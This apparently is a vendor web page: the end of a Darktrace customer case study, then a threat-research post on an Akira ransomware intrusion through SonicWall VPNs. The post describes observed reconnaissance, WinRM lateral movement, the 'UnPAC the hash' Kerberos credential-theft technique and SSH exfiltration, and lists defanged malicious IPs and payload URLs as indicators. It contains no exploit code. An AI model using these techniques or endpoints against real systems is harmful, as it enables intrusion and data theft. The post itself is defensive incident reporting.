Since its success with Darktrace / EMAIL, the company adopted two more products from the Darktrace ActiveAI Security Platform – Darktrace / NETWORK and Darktrace / IDENTITY.

These have further contributed to cost savings. An initial plan to build a 24/7 SOC would have required hiring and retaining six additional analysts, rather than the two that currently use Darktrace, costing an additional £220,000 per year in salary. With Darktrace, the existing analysts have the tools needed to become more effective and impactful.

An additional benefit: Darktrace adoption has lowered the company’s cyber insurance premiums. The security team can reallocate this budget to proactive projects.

Detection of novel threats provides reassurance

Darktrace’s unique approach to cybersecurity added a key benefit. The team’s previous tool took a rules-based approach – which was only good if the next attack featured the same characteristics as the ones on which the tool was trained.

“Darktrace looks for anomalous behavior, and we needed something that detected and responded based on use cases, not rules that might be out of date or too prescriptive,” their Information Security Manager. “Our existing provider could take a couple of days to update rules and signatures, and in this game, speed is of the essence. Darktrace just does everything we need - without delay.”

Where rules-based tools must wait for a threat to emerge before beginning to detect and respond to it, Darktrace identifies and protects against unknown and novel threats, speeding identification, response, and recovery, minimizing business disruption as a result.

Looking to the future

With Darktrace in place, the UK-based civil engineering company team has reallocated time and resources usually spent on detection and alerting to now tackle more sophisticated, strategic challenges. Darktrace has also equipped the team with far better and more regularly updated visibility into potential vulnerabilities.

“One thing that frustrates me a little is penetration testing; our ISO accreditation mandates a penetration test at least once a year, but the results could be out of date the next day,” their Information Security Manager. “Darktrace / Proactive Exposure Management will give me that view in real time – we can run it daily if needed - and that’s going to be a really effective workbench for my team.”

As the company looks to further develop its security posture, Darktrace remains poised to evolve alongside its partner.

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October 14, 2025

Inside Akira’s SonicWall Campaign: Darktrace’s Detection and Response

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Introduction: Background on Akira SonicWall campaign

Between July and August 2025, security teams worldwide observed a surge in Akira ransomware incidents involving SonicWall SSL VPN devices [1]. Initially believed to be the result of an unknown zero-day vulnerability, SonicWall later released an advisory announcing that the activity was strongly linked to a previously disclosed vulnerability, CVE-2024-40766, first identified over a year earlier [2].

On August 20, 2025, Darktrace observed unusual activity on the network of a customer in the US. Darktrace detected a range of suspicious activity, including network scanning and reconnaissance, lateral movement, privilege escalation, and data exfiltration. One of the compromised devices was later identified as a SonicWall virtual private network (VPN) server, suggesting that the incident was part of the broader Akira ransomware campaign targeting SonicWall technology.

As the customer was subscribed to the Managed Detection and Response (MDR) service, Darktrace’s Security Operations Centre (SOC) team was able to rapidly triage critical alerts, restrict the activity of affected devices, and notify the customer of the threat. As a result, the impact of the attack was limited - approximately 2 GiB of data had been observed leaving the network, but any further escalation of malicious activity was stopped.

Threat Overview

CVE-2024-40766 and other misconfigurations

CVE-2024-40766 is an improper access control vulnerability in SonicWall’s SonicOS, affecting Gen 5, Gen 6, and Gen 7 devices running SonicOS version 7.0.1 5035 and earlier [3]. The vulnerability was disclosed on August 23, 2024, with a patch released the same day. Shortly after, it was reported to be exploited in the wild by Akira ransomware affiliates and others [4].

Almost a year later, the same vulnerability is being actively targeted again by the Akira ransomware group. In addition to exploiting unpatched devices affected by CVE-2024-40766, security researchers have identified three other risks potentially being leveraged by the group [5]:

*The Virtual Office Portal can be used to initially set up MFA/TOTP configurations for SSLVPN users.

Thus, even if SonicWall devices were patched, threat actors could still target them for initial access by reusing previously stolen credentials and exploiting other misconfigurations.

Akira Ransomware

Akira ransomware was first observed in the wild in March 2023 and has since become one of the most prolific ransomware strains across the threat landscape [6]. The group operates under a Ransomware-as-a-Service (RaaS) model and frequently uses double extortion tactics, pressuring victims to pay not only to decrypt files but also to prevent the public release of sensitive exfiltrated data.

The ransomware initially targeted Windows systems, but a Linux variant was later observed targeting VMware ESXi virtual machines [7]. In 2024, it was assessed that Akira would continue to target ESXi hypervisors, making attacks highly disruptive due to the central role of virtualisation in large-scale cloud deployments. Encrypting the ESXi file system enables rapid and widespread encryption with minimal lateral movement or credential theft. The lack of comprehensive security protections on many ESXi hypervisors also makes them an attractive target for ransomware operators [8].

Victimology

Akira is known to target organizations across multiple sectors, most notably those in manufacturing, education, and healthcare. These targets span multiple geographic regions, including North America, Latin America, Europe and Asia-Pacific [9].

Geographical distribution of organization’s affected by Akira ransomware in 2025 [9].
Figure 1: Geographical distribution of organization’s affected by Akira ransomware in 2025 [9].

Common Tactics, Techniques and Procedures (TTPs) [7][10]

Initial Access
Targets remote access services such as RDP and VPN through vulnerability exploitation or stolen credentials.

Reconnaissance
Uses network scanning tools like SoftPerfect and Advanced IP Scanner to map the environment and identify targets.

Lateral Movement
Moves laterally using legitimate administrative tools, typically via RDP.

Persistence
Employs techniques such as Kerberoasting and pass-the-hash, and tools like Mimikatz to extract credentials. Known to create new domain accounts to maintain access.

Command and Control
Utilizes remote access tools including AnyDesk, RustDesk, Ngrok, and Cloudflare Tunnel.

Exfiltration
Uses tools such as FileZilla, WinRAR, WinSCP, and Rclone. Data is exfiltrated via protocols like FTP and SFTP, or through cloud storage services such as Mega.

Darktrace’s Coverage of Akira ransomware

Reconnaissance

Darktrace first detected of unusual network activity around 05:10 UTC, when a desktop device was observed performing a network scan and making an unusual number of DCE-RPC requests to the endpoint mapper (epmapper) service. Network scans are typically used to identify open ports, while querying the epmapper service can reveal exposed RPC services on the network.

Multiple other devices were also later seen with similar reconnaissance activity, and use of the Advanced IP Scanner tool, indicated by connections to the domain advanced-ip-scanner[.]com.

Lateral movement

Shortly after the initial reconnaissance, the same desktop device exhibited unusual use of administrative tools. Darktrace observed the user agent “Ruby WinRM Client” and the URI “/wsman” as the device initiated a rare outbound Windows Remote Management (WinRM) connection to two domain controllers (REDACTED-dc1 and REDACTED-dc2). WinRM is a Microsoft service that uses the WS-Management (WSMan) protocol to enable remote management and control of network devices.

Darktrace also observed the desktop device connecting to an ESXi device (REDACTED-esxi1) via RDP using an LDAP service credential, likely with administrative privileges.

Credential access

At around 06:26 UTC, the desktop device was seen fetching an Active Directory certificate from the domain controller (REDACTED-dc1) by making a DCE-RPC request to the ICertPassage service. Shortly after, the device made a Kerberos login using the administrative credential.

Figure 3: Darktrace’s detection of the of anomalous certificate download and subsequent Kerberos login.

Further investigation into the device’s event logs revealed a chain of connections that Darktrace’s researchers believe demonstrates a credential access technique known as “UnPAC the hash.”

This method begins with pre-authentication using Kerberos’ Public Key Cryptography for Initial Authentication (PKINIT), allowing the client to use an X.509 certificate to obtain a Ticket Granting Ticket (TGT) from the Key Distribution Center (KDC) instead of a password.

The next stage involves User-to-User (U2U) authentication when requesting a Service Ticket (ST) from the KDC. Within Darktrace's visibility of this traffic, U2U was indicated by the client and service principal names within the ST request being identical. Because PKINIT was used earlier, the returned ST contains the NTLM hash of the credential, which can then be extracted and abused for lateral movement or privilege escalation [11].

Flowchart of Kerberos PKINIT pre-authentication and U2U authentication [12].
Figure 4: Flowchart of Kerberos PKINIT pre-authentication and U2U authentication [12]
Figure 5: Device event log showing the Kerberos Login and Kerberos Ticket events

Analysis of the desktop device’s event logs revealed a repeated sequence of suspicious activity across multiple credentials. Each sequence included a DCE-RPC ICertPassage request to download a certificate, followed by a Kerberos login event indicating PKINIT pre-authentication, and then a Kerberos ticket event consistent with User-to-User (U2U) authentication.

Darktrace identified this pattern as highly unusual. Cyber AI Analyst determined that the device used at least 15 different credentials for Kerberos logins over the course of the attack.

By compromising multiple credentials, the threat actor likely aimed to escalate privileges and facilitate further malicious activity, including lateral movement. One of the credentials obtained via the “UnPAC the hash” technique was later observed being used in an RDP session to the domain controller (REDACTED-dc2).

C2 / Additional tooling

At 06:44 UTC, the domain controller (REDACTED-dc2) was observed initiating a connection to temp[.]sh, a temporary cloud hosting service. Open-source intelligence (OSINT) reporting indicates that this service is commonly used by threat actors to host and distribute malicious payloads, including ransomware [13].

Shortly afterward, the ESXi device was observed downloading an executable named “vmwaretools” from the rare external endpoint 137.184.243[.]69, using the user agent “Wget.” The repeated outbound connections to this IP suggest potential command-and-control (C2) activity.

Cyber AI Analyst investigation into the suspicious file download and suspected C2 activity between the ESXI device and the external endpoint 137.184.243[.]69.
Figure 6: Cyber AI Analyst investigation into the suspicious file download and suspected C2 activity between the ESXI device and the external endpoint 137.184.243[.]69.
Packet capture (PCAP) of connections between the ESXi device and 137.184.243[.]69.
Figure 7: Packet capture (PCAP) of connections between the ESXi device and 137.184.243[.]69.

Data exfiltration

The first signs of data exfiltration were observed at around 7:00 UTC. Both the domain controller (REDACTED-dc2) and a likely SonicWall VPN device were seen uploading approximately 2 GB of data via SSH to the rare external endpoint 66.165.243[.]39 (AS29802 HVC-AS). OSINT sources have since identified this IP as an indicator of compromise (IoC) associated with the Akira ransomware group, known to use it for data exfiltration [14].

Cyber AI Analyst incident view highlighting multiple unusual events across several devices on August 20. Notably, it includes the “Unusual External Data Transfer” event, which corresponds to the anomalous 2 GB data upload to the known Akira-associated endpoint 66.165.243[.]39.
Figure 8: Cyber AI Analyst incident view highlighting multiple unusual events across several devices on August 20. Notably, it includes the “Unusual External Data Transfer” event, which corresponds to the anomalous 2 GB data upload to the known Akira-associated endpoint 66.165.243[.]39.

Cyber AI Analyst

Throughout the course of the attack, Darktrace’s Cyber AI Analyst autonomously investigated the anomalous activity as it unfolded and correlated related events into a single, cohesive incident. Rather than treating each alert as isolated, Cyber AI Analyst linked them together to reveal the broader narrative of compromise. This holistic view enabled the customer to understand the full scope of the attack, including all associated activities and affected assets that might otherwise have been dismissed as unrelated.

Overview of Cyber AI Analyst’s investigation, correlating all related internal and external security events across affected devices into a single pane of glass.
Figure 9: Overview of Cyber AI Analyst’s investigation, correlating all related internal and external security events across affected devices into a single pane of glass.

Containing the attack

In response to the multiple anomalous activities observed across the network, Darktrace's Autonomous Response initiated targeted mitigation actions to contain the attack. These included:

  • Blocking connections to known malicious or rare external endpoints, such as 137.184.243[.]69, 66.165.243[.]39, and advanced-ip-scanner[.]com.
  • Blocking internal traffic to sensitive ports, including 88 (Kerberos), 3389 (RDP), and 49339 (DCE-RPC), to disrupt lateral movement and credential abuse.
  • Enforcing a block on all outgoing connections from affected devices to contain potential data exfiltration and C2 activity.
Autonomous Response actions taken by Darktrace on an affected device, including the blocking of malicious external endpoints and internal service ports.
Figure 10: Autonomous Response actions taken by Darktrace on an affected device, including the blocking of malicious external endpoints and internal service ports.

Managed Detection and Response

As this customer was an MDR subscriber, multiple Enhanced Monitoring alerts—high-fidelity models designed to detect activity indicative of compromise—were triggered across the network. These alerts prompted immediate investigation by Darktrace’s SOC team.

Upon determining that the activity was likely linked to an Akira ransomware attack, Darktrace analysts swiftly acted to contain the threat. At around 08:05 UTC, devices suspected of being compromised were quarantined, and the customer was promptly notified, enabling them to begin their own remediation procedures without delay.

A wider campaign?

Darktrace’s SOC and Threat Research teams identified at least three additional incidents likely linked to the same campaign. All targeted organizations were based in the US, spanning various industries, and each have indications of using SonicWall VPN, indicating it had likely been targeted for initial access.

Across these incidents, similar patterns emerged. In each case, a suspicious executable named “vmwaretools” was downloaded from the endpoint 85.239.52[.]96 using the user agent “Wget”, bearing some resemblance to the file downloads seen in the incident described here. Data exfiltration was also observed via SSH to the endpoints 107.155.69[.]42 and 107.155.93[.]154, both of which belong to the same ASN also seen in the incident described in this blog: S29802 HVC-AS. Notably, 107.155.93[.]154 has been reported in OSINT as an indicator associated with Akira ransomware activity [15]. Further recent Akira ransomware cases have been observed involving SonicWall VPN, where no similar executable file downloads were observed, but SSH exfiltration to the same ASN was. These overlapping and non-overlapping TTPs may reflect the blurring lines between different affiliates operating under the same RaaS.

Lessons from the campaign

This campaign by Akira ransomware actors underscores the critical importance of maintaining up-to-date patching practices. Threat actors continue to exploit previously disclosed vulnerabilities, not just zero-days, highlighting the need for ongoing vigilance even after patches are released. It also demonstrates how misconfigurations and overlooked weaknesses can be leveraged for initial access or privilege escalation, even in otherwise well-maintained environments.

Darktrace’s observations further reveal that ransomware actors are increasingly relying on legitimate administrative tools, such as WinRM, to blend in with normal network activity and evade detection. In addition to previously documented Kerberos-based credential access techniques like Kerberoasting and pass-the-hash, this campaign featured the use of UnPAC the hash to extract NTLM hashes via PKINIT and U2U authentication for lateral movement or privilege escalation.

Credit to Emily Megan Lim (Senior Cyber Analyst), Vivek Rajan (Senior Cyber Analyst), Ryan Traill (Analyst Content Lead), and Sam Lister (Specialist Security Researcher)

Appendices

Darktrace Model Detections

Anomalous Connection / Active Remote Desktop Tunnel

Anomalous Connection / Data Sent to Rare Domain

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Possible Data Staging and External Upload

Anomalous Connection / Rare WinRM Incoming

Anomalous Connection / Rare WinRM Outgoing

Anomalous Connection / Uncommon 1 GiB Outbound

Anomalous Connection / Unusual Admin RDP Session

Anomalous Connection / Unusual Incoming Long Remote Desktop Session

Anomalous Connection / Unusual Incoming Long SSH Session

Anomalous Connection / Unusual Long SSH Session

Anomalous File / EXE from Rare External Location

Anomalous Server Activity / Anomalous External Activity from Critical Network Device

Anomalous Server Activity / Outgoing from Server

Anomalous Server Activity / Rare External from Server

Compliance / Default Credential Usage

Compliance / High Priority Compliance Model Alert

Compliance / Outgoing NTLM Request from DC

Compliance / SSH to Rare External Destination

Compromise / Large Number of Suspicious Successful Connections

Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

Device / Anomalous Certificate Download Activity

Device / Anomalous SSH Followed By Multiple Model Alerts

Device / Anonymous NTLM Logins

Device / Attack and Recon Tools

Device / ICMP Address Scan

Device / Large Number of Model Alerts

Device / Network Range Scan

Device / Network Scan

Device / New User Agent To Internal Server

Device / Possible SMB/NTLM Brute Force

Device / Possible SMB/NTLM Reconnaissance

Device / RDP Scan

Device / Reverse DNS Sweep

Device / Suspicious SMB Scanning Activity

Device / UDP Enumeration

Unusual Activity / Unusual External Data to New Endpoint

Unusual Activity / Unusual External Data Transfer

User / Multiple Uncommon New Credentials on Device

User / New Admin Credentials on Client

User / New Admin Credentials on Server

Enhanced Monitoring Models

Compromise / Anomalous Certificate Download and Kerberos Login

Device / Initial Attack Chain Activity

Device / Large Number of Model Alerts from Critical Network Device

Device / Multiple Lateral Movement Model Alerts

Device / Suspicious Network Scan Activity

Unusual Activity / Enhanced Unusual External Data Transfer

Antigena/Autonomous Response Models

Antigena / Network / External Threat / Antigena File then New Outbound Block

Antigena / Network / External Threat / Antigena Suspicious Activity Block

Antigena / Network / External Threat / Antigena Suspicious File Block

Antigena / Network / Insider Threat / Antigena Large Data Volume Outbound Block

Antigena / Network / Insider Threat / Antigena Network Scan Block

Antigena / Network / Insider Threat / Antigena Unusual Privileged User Activities Block

Antigena / Network / Manual / Quarantine Device

Antigena / Network / Significant Anomaly / Antigena Alerts Over Time Block

Antigena / Network / Significant Anomaly / Antigena Controlled and Model Alert

Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Client Block

Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Server Block

Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block

Antigena / Network / Significant Anomaly / Antigena Significant Server Anomaly Block

Antigena / Network / Significant Anomaly / Repeated Antigena Alerts

List of Indicators of Compromise (IoCs)

·      66.165.243[.]39 – IP Address – Data exfiltration endpoint

·      107.155.69[.]42 – IP Address – Probable data exfiltration endpoint

·      107.155.93[.]154 – IP Address – Likely Data exfiltration endpoint

·      137.184.126[.]86 – IP Address – Possible C2 endpoint

·      85.239.52[.]96 – IP Address – Likely C2 endpoint

·      hxxp://85.239.52[.]96:8000/vmwarecli  – URL – File download

·      hxxp://137.184.126[.]86:8080/vmwaretools – URL – File download

MITRE ATT&CK Mapping

Initial Access – T1190 – Exploit Public-Facing Application

Reconnaissance – T1590.002 – Gather Victim Network Information: DNS

Reconnaissance – T1590.005 – Gather Victim Network Information: IP Addresses

Reconnaissance – T1592.004 – Gather Victim Host Information: Client Configurations

Reconnaissance – T1595 – Active Scanning

Discovery – T1018 – Remote System Discovery

Discovery – T1046 – Network Service Discovery

Discovery – T1083 – File and Directory Discovery

Discovery – T1135 – Network Share Discovery

Lateral Movement – T1021.001 – Remote Services: Remote Desktop Protocol

Lateral Movement – T1021.004 – Remote Services: SSH

Lateral Movement – T1021.006 – Remote Services: Windows Remote Management

Lateral Movement – T1550.002 – Use Alternate Authentication Material: Pass the Hash

Lateral Movement – T1550.003 – Use Alternate Authentication Material: Pass the Ticket

Credential Access – T1110.001 – Brute Force: Password Guessing

Credential Access – T1649 – Steal or Forge Authentication Certificates

Persistence, Privilege Escalation – T1078 – Valid Accounts

Resource Development – T1588.001 – Obtain Capabilities: Malware

Command and Control – T1071.001 – Application Layer Protocol: Web Protocols

Command and Control – T1105 – Ingress Tool Transfer

Command and Control – T1573 – Encrypted Channel

Collection – T1074 – Data Staged

Exfiltration – T1041 – Exfiltration Over C2 Channel

Exfiltration – T1048 – Exfiltration Over Alternative Protocol

References

[1] https://thehackernews.com/2025/08/sonicwall-investigating-potential-ssl.html

[2] https://www.sonicwall.com/support/notices/gen-7-and-newer-sonicwall-firewalls-sslvpn-recent-threat-activity/250804095336430

[3] https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0015

[4] https://arcticwolf.com/resources/blog/arctic-wolf-observes-akira-ransomware-campaign-targeting-sonicwall-sslvpn-accounts/

[5] https://www.rapid7.com/blog/post/dr-akira-ransomware-group-utilizing-sonicwall-devices-for-initial-access/

[6] https://www.ic3.gov/AnnualReport/Reports/2024_IC3Report.pdf

[7] https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a

[8] https://blog.talosintelligence.com/akira-ransomware-continues-to-evolve/

[9] https://www.ransomware.live/map?year=2025&q=akira

[10] https://attack.mitre.org/groups/G1024/
[11] https://labs.lares.com/fear-kerberos-pt2/#UNPAC

[12] https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash

[13] https://www.s-rminform.com/latest-thinking/derailing-akira-cyber-threat-intelligence)

[14] https://fieldeffect.com/blog/update-akira-ransomware-group-targets-sonicwall-vpn-appliances

[15] https://arcticwolf.com/resources/blog/arctic-wolf-observes-july-2025-uptick-in-akira-ransomware-activity-targeting-sonicwall-ssl-vpn/

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About the author
Emily Megan Lim
Cyber Analyst
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